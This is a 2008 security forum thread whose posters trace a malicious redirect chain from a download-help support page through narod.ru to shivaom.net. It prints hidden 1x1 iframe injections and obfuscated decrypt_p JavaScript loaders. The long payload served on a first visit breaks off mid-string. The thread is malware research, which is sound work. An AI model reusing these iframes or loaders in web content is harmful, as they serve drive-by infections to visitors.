Author Topic: english.download-help.com (ref: toggle.com, ircfast.com etc)  (Read 4221 times)

0 Members and 1 Guest are viewing this topic.

May 02, 2008, 05:33:48 pm
Read 4221 times

MysteryFCM

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 1693
  • Personal Text
    Phishing Phanatic
    • I.T. Mate
Code: [Select]
*****************************************************************
vURL Desktop Edition v0.3.0 Results
Source code for: http://english.download-help.com/ticket/view/supportid54463/viewticket.htm
Server IP: 75.125.33.203 [ ev1s-75-125-33-203.ev1servers.net ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Not Listed
Date: 02 May 2008
Time: 18:14:41:14
*****************************************************************
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>email  :: Application removal</title>
<meta name="description" content="Download Help"/>
<meta name="keywords" content="Download Help"/>
<link rel="stylesheet" type="text/css" href="http://english.download-help.com/templates/ver1_default/css/jquery.panels.css" />
<link rel="stylesheet" type="text/css" href="http://english.download-help.com/templates/ver1_default/css/style.css" />


<link rel="stylesheet" href="http://english.download-help.com/templates/ver1_default/css/flora.all.css" type="text/css" media="screen" title="Flora (Default)">


<link rel="shortcut icon" href="http://english.download-help.com/favicon.ico"/>

<script type="text/javascript" src="http://english.download-help.com/templates/ver1_default/js/jquery.pack.js"></script>
<script type="text/javascript" src="http://english.download-help.com/templates/ver1_default/js/js.js"></script>

 <script type="text/javascript" >
  var  siteURL   = "http://english.download-help.com/";
  var  dblang     = "en";
  var  theme_name = "ver1_default";
  var  js_warning_part1 = "Please enter '%%fieldname%%'";
  var  js_warning_part2 = "Please enter a valid field '%%fieldname%%'. ";
  var  js_warning_part3 = "The fields '%%fieldname1%%' y '%%fieldname2%%' do not match. The must be the same. ";


  var  str_active    = "active";
  var  str_notactive = "not active";
  var  str_checked   = "domain correct";
  var  str_notchecked = "not correct domain";

</script>





</head>




<body>

<table border="0" width="100%" cellpadding="0" cellspacing="0" >
 <tr>
  <td colspan="2" class="header"><a  href="http://english.download-help.com/" >english.download-help.com</a></td>
 </tr>

 <tr>
  <td  class="leftpanel" valign="top">

           

                    <b>User Menu:</b>&nbsp;&nbsp;<br/>
        &raquo; <a href="http://english.download-help.com/" >New Ticket </a><br/>
        &raquo; <a href="http://english.download-help.com/ticket/viewlist.htm" >My Tickets</a><br/>
        &raquo; <a href="http://english.download-help.com/profile/view.htm" >My Account</a><br/>
        &raquo; <a href="http://english.download-help.com/logout/view.htm" >Close </a><br/><br/>
   

           




             



  </td>


  <td  class="bodypanel"  valign="top">
   <div class="bodydiv" >
    <div class="title" id="title">email  :: Application removal&nbsp;</div>
    <div id="contentDiv" class="content">
       
                                   <font color=red>WARNING: You still have not created the account. Please check your inbox, or your Spam file, for the welcome message.<br/>
Please understand, if you have not received the activation mail, you will not be able to receive any response from our website.<br/>
However, you may still see the responses on the web.<br/>
<a href='http://english.download-help.com/register/reactivation.htm'>resend activation link</a> </font><br/><br/>
          <!-- CONTENT -->
       
<table>
<tr>
 <td class="forms1">ID</td>
 <td>TI-2950-553953</td>
</tr>
<tr>
 <td class="forms1">State</td>
 <td>
    Closed
 </td>
</tr>
<tr>
 <td class="forms1">Created On</td>
 <td>
  05/02/2008 03:30
 </td>
</tr>

<tr>
 <td class="forms1">Last Modification On</td>
 <td>
  05/02/2008 18:47
 </td>
</tr>

</table>

<br/>

  <ul>
           
     <li><a href='http://english.download-help.com/transition/view/supportid21/I%27m-Satisfied.htm?tiuniq=TI-2950-553953' >I'm Satisfied</a>
          <br/>I am satisfied with the response, and do not need more help. </li>
           
     <li><a href='http://english.download-help.com/transition/view/supportid20/I-have-another-question%2C-or%2C-I-am-not-satisfied.-.htm?tiuniq=TI-2950-553953' >I have another question, or, I am not satisfied. </a>
          <br/>Your question has not been resolved, or you need to ask us another question. </li>
    </ul>


<h1>Emails</h1>
<CENTER>

</CENTER>


<TABLE width="100%"  cellpadding=3  cellspacing=0 border=0 class="email" >
<tr >
 <td>
       <b>Subject:</b>
                                                               Re:email
                       
  </td>
  <td width="100" nowrap>
        <b>Created by :</b>
        José </td>
  <td width="100" nowrap>
        <b>Created On:</b>
        05/02/2008 18:47
 </td>
</tr>
<tr >
 <td colspan="3">

                                                                                                         


         

        <p>Dear user,</p>

<p>Thank you for contacting us.</p>

<p>To delete desktop icons, you only have to drag them to the wastepaper basket or click on them with the right bottom of the mouse and select delete.</p>

<p>Should you have any other problem, do not hesitate to contact us again.</p>

Best regards.
   </td>
</tr>
</table>
<hr>
<br/>

<TABLE width="100%"  cellpadding=3  cellspacing=0 border=0 class="my_email" >
<tr >
 <td>
       <b>Subject:</b>
                          email
                ::        Application removal
  </td>
  <td width="100" nowrap>
        <b>Created by :</b>
        Steven </td>
  <td width="100" nowrap>
        <b>Created On:</b>
        05/02/2008 03:30
 </td>
</tr>
<tr >
 <td colspan="3">

   


       <iframe  src="http://english.download-help.com/showemail.php?em_id=398643"  frameborder=0 height=200 hspace=0 marginheight=0 marginwidth=0 scrolling="Auto" vspace=0 width="100%"></iframe>
   </td>
</tr>
</table>
<hr>
<br/>


<CENTER>

</CENTER>



      <!-- END CONTENT -->

      <form method="post" action="" name="goform" id="goform" ><input name="objID" id="objID" type="hidden" value="" /></form>

</div>
   </div>
  </td>

 </tr>
 <tr>
  <td  >
   &nbsp;
  </td>
 </tr>

</table>


</body>
</html><iframe src='http://krandash.narod.ru' width='1' height='1' style='visibility:hidden'></iframe><iframe src='http://krandash.narod.ru' width='1' height='1' style='visibility:hidden'></iframe>
 

Code: [Select]
*****************************************************************
vURL Desktop Edition v0.3.0 Results
Source code for: http://krandash.narod.ru
Server IP: 213.180.199.46 [ w46.www.narod.ru ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Not Listed
Date: 02 May 2008
Time: 18:15:44:15
*****************************************************************
<html>
<body>
coming soon

<iframe src='http://shivaom.net/religion/ie/' width='1' height='1' style='visibility:hidden'></iframe>
</body>
</html><!-- ><!-- "><!-- '><!-- --></textarea></form>
</title></comment></a>
</div></span></ilayer></layer></iframe></noframes></style></noscript></table></script></applet></font>
<style>
#bn {display:block;}
#bt {display:block;}
</style>
<div style="background:url(http://www.tns-counter.ru/V13a****yandex_ru/ru/CP1251/tmsec=narod_total/)"></div>
<script language="JavaScript" src="http://yabs.yandex.ru/show/163"></script>
<!-- mailto:spm111@yandex.ru -->
 

Code: [Select]
*****************************************************************
vURL Desktop Edition v0.3.0 Results
Source code for: http://shivaom.net/religion/ie
Server IP: 92.63.98.114 [ shivaom.net ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Not Listed
Date: 02 May 2008
Time: 18:16:13:16
*****************************************************************
<script language=JavaScript>function decrypt_p(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,19,6,29,61,12,53,1,56,35,0,0,0,0,0,0,54,8,9,7,46,3,25,22,23,31,49,13,36,15,47,33,14,0,41,43,44,11,30,28,48,21,18,0,0,0,0,51,0,59,32,38,60,45,2,26,58,37,55,39,52,34,42,5,40,62,20,16,27,17,50,57,4,24,10);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}decrypt_p("ocRJQNWlQI4c@Sd6H_KOovNvsHAa6HA_GH8JBSTJPEWXUcRm2EdvuEd6tf")</script>
 

Attempts to decode this resulted in;

Code: [Select]
<center>Sorry! You IP is blocked.</center>
..... I've tried stepping through with breakpoints but can't find a way to decode it atm (not at home, and don't have proxy availability here)
Regards

Steven Burn
I.T. Mate / hpHosts
it-mate.co.uk / hosts-file.net

May 02, 2008, 10:18:32 pm
Reply #1

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964
You have decoded it successfully. You get the "<center>Sorry! You IP is blocked.</center>" because it is the second time you visited it.

This is what you get the first time you visit it:

Code: [Select]
<script language=JavaScript>function decrypt_p(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,1,36,51,26,62,45,43,44,11,0,0,0,0,0,0,40,41,16,39,31,56,27,20,0,3,33,54,53,35,29,14,5,50,17,10,60,61,52,2,34,7,37,0,0,0,0,24,0,6,9,32,4,42,58,57,12,38,28,30,8,23,18,25,21,48,46,13,47,22,49,19,55,15,59);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}decrypt_p("PiALaDs3pYUiIIUQaYs3StjJwYoCGkhCmkbCGSg2RSoMwYoCGkhCmkbCGQoqj4bMkmEqBt8vR38Q9mEVRKbZY3gZmQgZunAZIm_Mhu@xwwTLPON2NngvjkgZjko21xgv_ng2kuELHYsVmtjJwYoCGkhCmkbCmaoqNk8C_mELHYsVmtjMpwTLuIhz9YNMwYoCGkhCmkbCGQoqj4oXwYoCGkhCmkbCm4bZuOjMhQlMkXUqBt8vR38Q9mEVRKbZY3gZmQgZnagZ1xEVRKbZY3gZmQgZjkTZH3@xPOsvmmEVRKbZY3gZmQAZGubCdMgZkuEVdDNJwYoCGkhCmkbCm4TZwubiWS@CI7TLsON2NngvjkgZjkbqjKgZ_uACPON2NngvjkgZjkbqjKgZoON2NngvjkgZjkbCYDbq9ihq99jVszoJwYoCGkhCmkbCmWhCNkAM_ON2NngvjkgZj4bZpQbvhfNJwYoCGkhCmkbCm4TZwuAM_K@URDs399TXID6QlFk3dD6gSYhqsON2NngvjkgZjnA2waA2sON2NngvjkgZjkbCYDbq94sVYFNVmxEVRKbZY3gZmQgZH3oCmi_JwYoCGkhCmkbCunoZjnhMhQlMkXULHYsVmtjJwYoCGkhCmkbCm4TZwuAC_m_qSFhVlITQRt@Vm3jVHxEVRKbZY3gZmQgZnagZ1x@cu4r2uOAZnkg2jSoZnagZpOAgwng2cyA2nWg2GOA2wWAZJDgZnOg2mSAZw4A2mObCnuA2RkgZuWkZJmbgpakZ2YAZwO52c9AZnagZpObZwao2JygEwag2BWgZwWg2GOo2wWg2BWA2nkg2jSo2wWAZJFAZpakZ2YAZwO52c9AZnagZpObZwab2RSbCnug2BagZwKg2NObCwW52GSgZnQAZJFbZpakZ2YAZwO52c9AZnaoZJmbgpakZ2moEpn52GOo2B4g2GSg2wWo2uSAZn4A2mOb2wnA2ROb2ROr2wOb2nkb2nSgZwQA2ROb2uarZmuoEpnkZJmbgRag2jOoEmugZpOgEwOk2wOA2wSb2uagEnaA2RuoEpnk2RObCwa5ZpkoZwO52MIAZnag2ROo2nkg2BObZwar2mSgZpakZ2Yo2wQg2JDoZmug2MIA2nkA2mWAZwKg2NOb2w452iyb2wWoZJmbgpakZ2Yo2wQg2JDoZmub2pOAgnWg2nObCwWr2jSbCROg2jOAgwWg2BSA2nSoZJmbgRag2jOoEmugZpkoZw4g2cybERkA2jSo2wWg2BSbZnnoZJmbgRag2jOoEmugZpkoZRO52mObgwKg2NabEwng2Jyb2n4g2GObZpakZ2Yo2wQg2JDoZmugZpagEwkg22ybCwQb2pSgZwO52nSAZn4A2uuoEpnkZJmbgRO52mObgwKg2NabEnkA2mObZwa52BSAZwng2G4oEmko2Gao2mkgZwkgZROk2RagZmkoZJmbgRO52mObgwQg2jWoZwOg2wSgZwO52nSAZn4A2u4oEmkb2uSo2nkg2BkgZmOgZmObZwa5ZmuoEpnk2MybEmuo2BSgZnkg2M9gZmub2mOb2n4A2BOoEwWgZpabEwWA2NSo2pakZ2moEpnO2uOb2nagZpOgEwOO2uSo2wag2RSgZwWg2GOoEnkA2m4oEmkA2nObCwW5Zmkg2mkg2ROgEnSgZmkbEmkg2MIgZmkgZwkgZRab2ukgZmW5ZmaAZnkg2BObZnagZmkg2mkg2BagEwkg22yb2w4A2RkgZmKgZmagEwkg22yoCwKo2cDgZmOgZmSgZnkg2GOoEwWA2uObZwngZmkoZmOgZpkgZmW5ZmkoZmOgZpkgZRO52mObgwQgZmkg2mkg2jWoZwOg2wSgZwO52nSAZn4A2ukgZm45ZmkgZmQoZJmbgRQg2wkoZRWA2mSgZmW52c9b2wa52mOb2nkgZp4AguW5Zp4oZmub2ROoCwWg2cmoEpnkZJmbgB4g2BSo2mug2MygEROg2nOA2B4o2M9o2naAZJDgZnSg2jObEmkgZwkgZwag2M9A2mkgZcDgZwOO2mkgZmOgZmao2B4gZmkbEmko2uSgZwWg2GSo2mkgZwkgZwWo2MygZwn52BOAZnagZmkoCmkb2uOAZnkg2jkgZmOgZmSoZnag2jObEwSgZcYg2wQgZmkoZmOgZpkgZw452BWAZnQA2uSo2mkgZwkgZwWg2JYgEwkg22yb2w4A2RkgZm45ZmkgZmQoZJmbgB4g2BSo2mub2pOAgnWg2nObCwWr2jSbCROg2jOAgwWg2BSA2nSAZJDgZwO52MYg2wSgZmkg2mkg2nWAZROr2RSo2mkgZcDgZR4A2mOb2wngZmkg2mkA2ROb2Bag2BSoCmkgZwkgZnao2wObCw452BkgZmKA2nObCwW52ROgEnSgZcyb2nKg2BabEwng2Jyb2m4O2RWgZBWo2BkbCpakZ2moEpnO2pOAgnWg2nSAZn4g2jObEBOr2uObCnn52BOb2uak2iyb2wWk2mkoCnSg2jObEwag2M9A2mWO2NaoER4k2mOgEwaA2jkbCpakZ2moEpnk2wOgEnkgZpObguarZGkoZBag2MDoZBug2i9b2wSA2uSAZwQg2cIgEn4g2jSbgwWg2BuoEpn5ZpkoZw4g2cybERkA2jSo2wWg2BSbZnnAZJYoEwQg2RagZmKA2nObCwW52ROgEnSgZcIoCRak2iYgZwO52RSbCm4522DAgungZjuoEpn5ZpkoZRkA2jSo2naA2mSgZwWo2uOgEwag2B4oERnA2uOAZRkgZNOAZwW52cYgZnQA2ROb2wWA2GSbZmQoZJmbgmugZpWoZw4r2BOA2wQg2c9bCnQo2wObCw452BOb2nSA2nkbEBSA2mObCnag2BkoCR4g2NSgZmKo2mSbCnaA2RSgZnkg2BaAZwO52ROb2mQgZjuoEpnk2cyb2nKA2RuoEpn5ZpkoZBug2i9b2wSg2jObEnQA2jag2wQg2iyb2wWA2nSA2mWk2uOAgwOr2uOb2pakZ2DoZmub2uOb2nagZpOgEBSA2mSgZB4g2NOoCwWg2iyAgwWg2B4oEnSg2jObEwag2M9A2mW52MIgZRab2ukbER4A2mOb2wnA2ROb2RO52mObgwWg2uSo2mKgZmWA2B4g2uSgZwQgZmkoZmOgZpkgZnuA2RkbEB4g2NkgZmOgZmOb2w452iDgZm45ZmkgZmQoZJmbgmugZpagEwW5Zpab2nkA2mOgEnkgZpWgZwWA2uSb2wa52BkoZRW52BSoCnaoZJmbgmugZpOgEBSA2mSgZB4g2NOoCwWg2iyAgwWg2BkbEBkA2BObEmugZNSA2wQg2cyo2wOr2nkbEwWA2NOb2RW52GOoEwWgZjkAgungZiYg2Rno2iIAZRWoZJmbgRWg2i9AZwWoZJmbgmug2MygEB4A2ROo2waA2mOb2wng2J9gZnkgZcYoEwO52ROb2ua52GOo2Ra52Myo2wWb2mOb2wng2ROb2wWb2nSgZwQA2ROb2pakZ2DoZwO52MIAZnag2ROo2nkg2BObZwar2mSgZmWO2RSbCnug2B4oEwng2RWo2nQA2pOb2Rkg2NOoCwQg2cybZnkA2juoEpn5ZpOgEwOO2uSo2wag2RSgZwWg2GOoEnkA2mkbEROr2pOb2wWkZJmbgmug2MygEB4A2ROo2waA2mOb2wng2J9gZnkgZcIA2nkg2jSo2wWgZpSA2wQg2cyo2wOr2nkbEBKo2JYAgRkg2Myo2nQoZJmbgmug2MygEB4A2ROo2waA2mOb2wng2J9gZnkgZcIAZwnA2wOb2Bag2MYg2wQg2iyb2pakZ2moEpnr2nObCwW52ROgEnSgZcyb2nKg2BabEwng2Jyb2m452GOo2B4g2GSg2wWo2uSAZn4A2mOb2wnA2ROb2ROr2wOb2nkb2nSgZwQA2ROb2pakZ2DoZnSg2jObEwag2M9A2mW52MIAZwKg2BOAgw4k2GSoZnugZcIAZwKg2BOAgw4k2BSoCwWg2uSb2nag2BkoZnSg2jObEwag2M9A2mW52BSoCwWo2cybZwa52BuoEpnk2BObEwagZpabCwOoZJmbgpakZ2FAgmOr2uOAZnkg2jSoZnaAZcmoEpnkZJmbgu4r2uOAZnkg2jSoZnagZpOAgwng2cyA2nWg2GOA2wWAZJDgZBOo2mWAZw4A2mObCnuA2RkgZuWkZJmbgmugZpkoZmug2MybEmug2BSgZnkg2M9gZmuA2mOb2n4A2BOoEwWgZpObEwWA2NSo2pakZ2DoZmugZpkoZwaA2uOAgmuAZJDoZmkg2NSo2naA2p4bgmO5ZM9AZwKg2jSg2wng2MyoEmW52cyb2nagZM9gZwWg2iybCwSg2jOgEwW5ZMybCwWgZMyb2nKg2BkbEnug2NSoZmkoZJmbgmugZpkoZmub2uOb2nagZpSbCwaA2uOg2muAZJDoZwag2MyAZnWg2Jyb2wWr2RkbEw4A2mOb2wnA2ROb2RWg2iyb2wa52BObEnagZNkgZwO52mObgwWg2uSo2mkgZjuoEpn52CybCnug2w4bZua5ZmOAZw4r2uObCmkoZJmbgwk52jSoZwOAZm4oEmkg2R4bgRko2R4bCuOgZmuoEpn52CybCnug2w4AZua5ZmaAZuWAZB4g2marZwkgZpakZ2yggwQA2pOg2uaAZJDgZuWo2G4AZmarZG4bZRagZmuoEpn52CybCnug2w4b2ua5Zm4oZmarZjkgZpakZ2yggwQA2pOg2uOAZJDgZuKAZuabZmarZpkgZpakZ2yggwQA2pOg2uSAZJDgZuuo2u4oZmkoZJmbgwk52jSoZwOAZN4oEmkAZRag2R4AZmkgZpakZ2yggwQA2pOg2uQAZJDgZuQo2B4AZmkoZJmbgwk52jSoZwOAZG4oZua5Zm4g2mkoZJmbgwk52jSoZwOAZGSbZua52CybCnug2w4bZmOg2CybCnug2w4gZmOg2CybCnug2w4AZmOg2CybCnug2w4o2mOg2CybCnug2w4b2mOg2CybCnug2w4g2mOg2CybCnug2w4A2mOg2CybCnug2w4oCmOg2CybCnug2w4bCmOg2CybCnug2w4bZuuoZJmbgpakZ2DoZmugZpkoZnQg2RSAZwOgZc9AZwWA2RabZnaA2RSgZwQg2mSb2nag2BkoZmkg2uOAgwnA2ukgZmOgZmSAZwQg2RkgZm452CybCnug2w4bZnnoZJmbgpakZ2yo2n4g2BSgZn4AZG4oEmko2JybCmkoZJmbgwaA2uOb2nkA2u4gZua5ZmOAZnkg2M9AZmkoZJmbgwaA2uOb2nkA2u4AZua5ZmOgEwOA2RkbEBKgZmuoEpn52RSAZwWA2mSAZuaAZJDgZRak2iDgZpakZ2yo2n4g2BSgZn4AZB4oEmko2NkgZpakZ2yo2n4g2BSgZn4AZw4oEmkb2RWo2mkoZJmbgwaA2uOb2nkA2u4A2ua5ZmWoZmkoZJmbgwaA2uOb2nkA2u4oCua52RSAZwWA2mSAZungZwOo2n4g2BSgZn4AZmkg2waA2uOb2nkA2u4AZmOg2RSAZwWA2mSAZuagZwOo2n4g2BSgZn4AZBkg2waA2uOb2nkA2u4g2mOg2RSAZwWA2mSAZuSoZJmbgpakZ2IAZwWA2RkoZnKg2GObZwagZp4oEmuA2jOo2n4g2wkbER4A2mOb2wnA2ROb2RO52mObgwWg2uSo2mKg2RSAZwWA2mSAZuKgZiDgZmkgZjuoEpn5ZpkoZmugZpuoEpn52nOo2wW52B4bZua5ZmabZwagZmuoEpn52nOo2wW52B4gZua5ZmOgEwagZmuoEpn52nOo2wW52B4AZua5ZmOgZmWO2uSo2mkoZJmbgwSg2RObEwWAZR4oEmkA2mkgZpakZ2yA2wag2cyb2uWAZJDgZwWgZmuoEpn52nOo2wW52B4g2ua5ZmObZmkoZJmbgwSg2RObEwWAZn4oEmkg2JDgZpakZ2yA2wag2cyb2uKAZJyA2wag2cyb2ungZwOA2wag2cyb2ukgZwOA2wag2cyb2u4gZwOA2wag2cyb2uagZwOA2wag2cyb2uWgZwOA2wag2cyb2uOgZwOA2wag2cyb2uSoZJmbgmugZpkoZpakZ2DoZmugZpkoZn4g2BSo2mub2jab2BQgZp4oEmuA2jOo2n4g2wkbEw4A2mOb2wnA2ROb2wO52mObgwWg2uSo2mKg2nOo2wW52B4oCm45ZmkgZmQoZJmbgmugZpkoZmub2jab2BQgZc9o2nQA2pOb2muAZJDoZunoZJmbgmugZpkoZmug2iygEunAZJDgZRSgZmuoEpn5ZpkoZmugZpOAgwOrZm4oEmko2BkgZpakZ2DoZmugZpkoZw452MFAZua5ZmWo2mkoZJmbgmugZpkoZmuA2mOb2nag2nOg2nQAZJyAgwOrZGkg2w452MFgZmOg2iygEu4oZJmbgmugZpkoZmuA2NObZwng2RkbEROr2pOb2wW5ZpSgZwWA2ROA2wOA2jkAgmug2RSAZw45ZiDoZROg2GOAgn4g2BuoEpn5ZpkoZmugZpSoCwng2GOo2mWO2uOb2wW52RuoEpn5ZpkoZmugZpOg2wng2cybZwa52BSbgnnrZG4oEmkg2wObCw452BkbEwWA2NOb2mkoZJmbgpakZ2DoZmugZpkoZn4g2uSgZwaA2uObCnuAZG4oEmkb2uOAZnkg2jSoZmkoZJmbgmugZpkoZmuA2uOAZnkg2RSAZwQA2p4gZua5ZmSo2wQg2cyA2mkoZJmbgmugZpkoZmuA2uOAZnkg2RSAZwQA2p4AZua5ZmkbEROg2jOAgmkoZJmbgmugZpkoZmuA2uOAZnkg2RSAZwQA2p4o2ua5ZmOb2B4A2jSAZnag2BkgZpakZ2DoZmugZpkoZn4g2uSgZwaA2uObCnuAZB4oEmkg2JYgEwkg22yb2w4A2RkgZpakZ2DoZmugZpkoZn4g2uSgZwaA2uObCnuAZJ9AZw4A2mOo2n4g2jSoZungZwSAZw4A2mOo2n4g2jSoZukgZwSAZw4A2mOo2n4g2jSoZu4gZwSAZw4A2mOo2n4g2jSoZuagZwSAZw4A2mOo2n4g2jSoZuWoZJmbgpakZ2DoZmugZpkoZn4g2BSo2muo2wSAZROgZp4oEmuA2jOo2n4g2wkbEw4A2mOb2wnA2ROb2wO52mObgwWg2uSo2mKA2uOAZnkg2RSAZwQA2pkAgmkgZmkbCpakZ2DoZmugZpkoZn4g2BSo2muA2ROoEnuA2ukoZua5Zpag2mWk2nOb2nab2uSoZwWg2uObCwng2iYg2wO52iyo2wWA2mkoCukgZjuoEpn5ZpkoZmugZpOg2wng2cybZwa52BSbgnnrZG4oEmuo2wSAZROgZcYgZnWg2jOAgwab2pObZnag2NkoCnag2J9oZn4gZiyg2wng2cybZwa52BSbgnnrZGkbCpakZ2moEpnkZJmbgmugZpkoZmub2jab2BQgZcygEnug2BObEpakZ2DoZmugZpkoZBQo2BWbCmWr2nSgZwQA2ROb2muA2NObZwng2RkbEnkg2BSAZnug2MybEn4g2BagZwO52RSbCpakZ2DoZmugZpkoZBQo2BWbCmWr2uObZnOg2BSo2wO52wObCw452BkoZwOg2GObEwng2Jyb2nnr22FbZm4rZmuoEpn5ZpkoZmugZpWbCRWb2jkbEw4g2iygEn4g2BuoEpn5ZpkoZmugZpSAZwWA2RkoZRak2JIAZmuAZJDoZnQg2RSAZwOgZcyAZnkg2BObZnag2BOgEwkg22yb2w4A2RkoCmkb2uOoCwWg2iyAgmWk2GSoZnug2iybCw4g2GSo2wQg2MybEmkgZiDgZmkgZjuoEpn5ZpkoZmugZpkoZmugZpkoZRak2JIAZmWO2uOoCwWg2iyAgRWA2NOb2w4A2BSo2wWgZpOg2wng2cybZwa52BSbgnnrZGkAgmkgZmkAgmkgZmkAgmkg2M9oZwWg2cDgZm4rZpuoEpnrZiDgEn4g2uSgZwQA2pSo2uWkZJmbgpakZ2moEpnrZiyoCnag2JyAgmuA2NOoEw452c9AZunr2w4oEmkA2BSgZwWrZ29AZw4g2NOb2wa52GSAZma52JybCw4A2mOgEn4g2Myg2nagZJyAZwO52JFbgnOg2JyAgmkAZcmoEpn5ZpkoZu452NOb2wng2R4bEpakZ2DoZmugZpkoZu4r2uSo2nQg2iyb2uWr2wWAgun5Z2DoZnk5ZpOgZwWg2NObZnOg2jOgEnkAZ2DoZnWA2mOAgmKgZuOggwnA2RSbgmQAZCDoZnarZiDgEn4A2RSbCw452B4bEpakZ2DoZmuAZiDgEwKg2BObZwaAZcmoEpnrZiygZwO52RSbCuWkZJmbgmugZpkoZmuAZiygEwkg22yb2w4A2RkoZwQg2R4oEmkg2CybZnaA22DgZmug2uOAgwnA2uSAZwQg2R4oEmko2uaAgB4o2jao2unrZG4oZuuAZn4gZR4o2BaAZmarZNaAZR4AZGkoEunAZGao2ungZJFbCuKAZwab2marZp4oZRnAZpaAZuQAZB4b2RkAZR4gZRWgZm4bEpakZ2DoZmugZpkoZu45ZMygEwkg22yb2w4A2R4bEpakZ2FAgn4g2uSgZwQA2pSo2mug2iybZwW52nSb2wng2nOb2ua5ZmObgwnA2wObZn4g2uSgZwQA2pSo2mkAZcmoEpn5ZpkoZmugZpOoCnkA2uOgEmuAZJDoZmSgZBSb2uQAZp4bCuugZn4ggpn52C9bgwKg22DoZua5ZpkA2mWA2B4bCuuAZj4oZmSAZCmbgwkA22yo2wngZp4oEmugZnkb2nWAZj4oZuQAZpkA2ukkZ2yo2wa52JyAgmuAZJDoZmSgZBSb2u4AZu4bCuugZn4ggpn52mSA2wag22DoZua5ZpkA2mWA2B4AZu4g2u4oZmSAZCmbgwQA2nSg2n4gZp4oEmugZnkb2nWg2BOgZw4AZjkA2ukkZ29AZnag2MyAZmuAZJDoZmSgZBSb2uWg2B4bZukgZn4ggpnr2BSbgwag2mkoZua5ZpkA2mWA2BOgZuQAZw4g2mSAZCmbgnkA2nSbZwkgZp4oEmugZnkb2nWg2BOg2uuAZpkA2ukkZ29A2nKg2i9oCmuAZJDoZmSgZBSb2wOg2B4oCwkgZn4ggpnr2NOgEnQg2GkoZua5ZpkA2mWA2B4gZwWAZN4oZmSAZCmbgwng2iyoEw4gZp4oEmugZnkb2nWAZN4oZuug2mkA2ukkZ2yoCnug2J9oZmuAZJDoZmSgZBSb2uuAZj4AZuOgZBSb2wWAZm4o2uOgZn4ggpn52iybCwQg2BkoZua5ZpkA2mWA2BOb2wkg2w4A2mWA2BOb2uKAZp4b2mWA2BOg2wOg2B4bCmWA2BOg2wOg2wOg2mWA2BObZwWg2BOgZmWA2B4bZuaAZG4o2mWA2B4g2unAZG4o2mWA2BOgZu4AZn4oCmWA2B4bZuaAZR4o2mWA2B4bZuaAZG4o2mWA2B4b2uaAZNOo2mWA2B4oCwaAZG4oZmWA2B4gZuuAZN4o2mWA2B4oCwag2GOg2mWA2B4oZw4AZwOAZmWA2B4oZuQAZNOo2mWA2B4bZuKAZwOb2mWA2BOb2w4AZBOgZmSAZCmbgwkA2NOoCnOgZp4oEmugZnkb2nWAZG4o2uag2BkA2ukkZ29oCwkr2NOgEmuAZJDoZmSgZBSb2unAZR4bZuagZBSb2wOg2mOg2uOgZBSb2uSAZG4g2w4gZBSb2unAZR4A2ukgZBSb2uOg2u4bZuagZBSb2uKAZw4oCuSgZBSb2uOg2w4A2uugZn4ggpn52NObEnng2RkoZua5ZpkA2mWA2B4oZunAZw4oCmSAZCmbgw452mOgZwQgZp4oEmugZnkb2nWAZNOo2ukg2GkA2ukkZ29oZwng229bZmuAZJDoZmSgZBSb2wWg2uOb2w4gZn4ggpn52i9g2n4A2ukoZua5ZpkA2mWA2B4bZuaAZR4oCmWA2B4bZuaAZG4o2mWA2BOg2uuAZj4b2mWA2B4oCwaAZu4o2mWA2B4g2wWg2B4oZmWA2B4g2uWAZu4o2mWA2B4g2wnAZp4bZmWA2BOo2uQAZG4oCmWA2B4bZw4AZG4oCmWA2B4A2uWAZw4oZmWA2B4oCuSAZN4o2mSAZCmbgw452wObCnSgZp4oEmugZnkb2nWAZB4oCwaAZjkA2ukkZ2ybEnkg2mOgEmuAZJDoZmSgZBSb2unAZN4bZw4gZBSb2uSAZn4AZukgZBSb2uSAZn4A2w4gZBSb2uWAZNOo2wngZBSb2uug2u4bZw4gZBSb2uaAZB4bZuagZBSb2uOAZROo2uagZBSb2uOAZB4g2uagZBSb2uOAZR4g2uQgZBSb2uOg2G4oZungZBSb2uKg2R4gZuagZn4ggpn52MybCwk52iDoZua5ZpkA2mWA2B4g2wWg2B4oZmSAZCmbgnag2jObZwngZp4oEmugZnkb2nWAZw4b2unAZnkA2ukkZ29g2nng2BOoCmuAZJDoZmSgZBSb2uOg2G4oZungZn4ggpnr2uOA2nng2NkoZua5ZpkA2mWA2B4oZunAZpOAZmSAZCmbgwSg2GSbCnkgZp4oEmugZnkb2nWAZG4oZuOg2GkA2ukkZ29A2nkg22yoCmuAZJDoZmSgZBSb2uOg2G4g2u4gZn4ggpnr2nSAZwWg22DoZua5ZpkA2mWA2B4oCuSAZNOo2mSAZCmbgwn52wSbCnKgZp4oEmugZnkb2nWAZNOo2uaAZpkb2nWAZR4A2uKAZNkb2nWAZG4b2uSg2ukb2nWAZwObZuuAZnkb2nWAZNObZuKg2Rkb2nWAZG4b2u4AZRkb2nWAZR4b2uuAZnkb2nWAZROgZw4g2mkb2nWg2GOg2uWAZukb2nWg2R4A2unAZBkb2nWg2ROo2uaAZBkb2nWg2u4gZunAZGkb2nWAZuOAZukAZRkb2nWAZN4oCuuAZwkb2nWg2R4AZuug2ukb2nWAZpOg2w4g2Rkb2nWg2ROb2unAZBkb2nWg2BOo2uWAZRkA2ukkZ2ybEwn522yA2muAZJDoZmSgZBSb2u4g2R4oZu4gZn4ggpnr2mOggwKg2cDoZua5Zpk